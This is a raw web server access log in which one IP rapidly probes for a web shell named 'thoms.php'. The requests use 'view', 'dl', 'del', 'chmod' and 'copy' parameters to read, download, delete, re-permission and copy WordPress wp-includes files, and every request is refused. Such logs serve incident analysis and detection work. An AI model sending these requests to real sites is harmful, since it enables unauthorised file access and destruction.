45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /thoms.php?chmod=block-patterns&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-patterns&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2FText HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2FText" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /thoms.php?dl=class-walker-nav-menu.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-nav-menu.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /thoms.php?del=ms-default-constants.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-default-constants.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=registration.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=registration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /biotaiwan.com.tw/wp-includes/class-walker-category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /thoms.php?dl=session.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=session.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /thoms.php?del=class-wp-http-proxy.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-proxy.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /thoms.php?del=class-wp-recovery-mode.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /thoms.php?chmod=icons.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=icons.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=spl-autoload-compat.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=spl-autoload-compat.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /thoms.php?chmod=update.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=update.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /thoms.php?del=SimplePie&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=SimplePie&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=bookmark.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=bookmark.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-customize-manager.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:47 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /biotaiwan.com.tw/wp-includes/shortcodes.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-avif-info.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-avif-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-navigation-fallback.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /thoms.php?del=meta.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=meta.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fwidgets.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fwidgets.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Finteractivity-api&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Finteractivity-api&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /thoms.php?chmod=class-wp-widget-factory.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget-factory.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fgeneral-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fgeneral-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Frewrite.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Frewrite.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=script-modules.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=script-modules.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Finteractivity-api HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Finteractivity-api" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-customize-nav-menus.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-walker-page-dropdown.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-type.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-fatal-error-handler.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /biotaiwan.com.tw/wp-includes/block-patterns.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:48 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=date.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=date.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /thoms.php?dl=load.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=load.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /biotaiwan.com.tw/wp-includes/ms-blogs.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-block-metadata-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /thoms.php?del=class-wp-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-dependencies.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /thoms.php?dl=class-wp-theme-json-data.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-data.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /biotaiwan.com.tw/wp-includes/author-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /thoms.php?del=query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /thoms.php?dl=abilities-api.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=abilities-api.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-metadata-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /thoms.php?chmod=class-wp-meta-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-meta-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /thoms.php?del=class-wp-recovery-mode-link-service.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-link-service.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /thoms.php?dl=class-wp-site.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-site.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /thoms.php?chmod=class-wp-theme-json.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-ajax-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /thoms.php?chmod=feed-rss2-comments.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2-comments.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /thoms.php?del=cache-compat.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=cache-compat.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /thoms.php?del=class-wp-block-templates-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-templates-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:49 -0400] "GET /biotaiwan.com.tw/wp-includes/http.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:50 -0400] "GET /thoms.php?del=class-wp-customize-widgets.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-widgets.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:50 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-textdomain-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:50 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-files.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-files.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:50 -0400] "GET /thoms.php?chmod=ms-functions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-functions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:50 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Ffonts HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes%2Ffonts" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:50 -0400] "GET /thoms.php?chmod=style-engine&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=style-engine&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:50 -0400] "GET /thoms.php?chmod=block-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:50 -0400] "GET /thoms.php?chmod=capabilities.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=capabilities.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:50 -0400] "GET /thoms.php?dl=class-wp-filter-sentinel.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-filter-sentinel.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:50 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:50 -0400] "GET /thoms.php?chmod=class-wp-hook.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-hook.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:50 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:50 -0400] "GET /thoms.php?chmod=php-compat&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=php-compat&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:50 -0400] "GET /thoms.php?dl=block-bindings.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-bindings.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:50 -0400] "GET /thoms.php?chmod=class-wp-block-supports.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-supports.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:50 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-user.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:50 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-customize-widgets.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
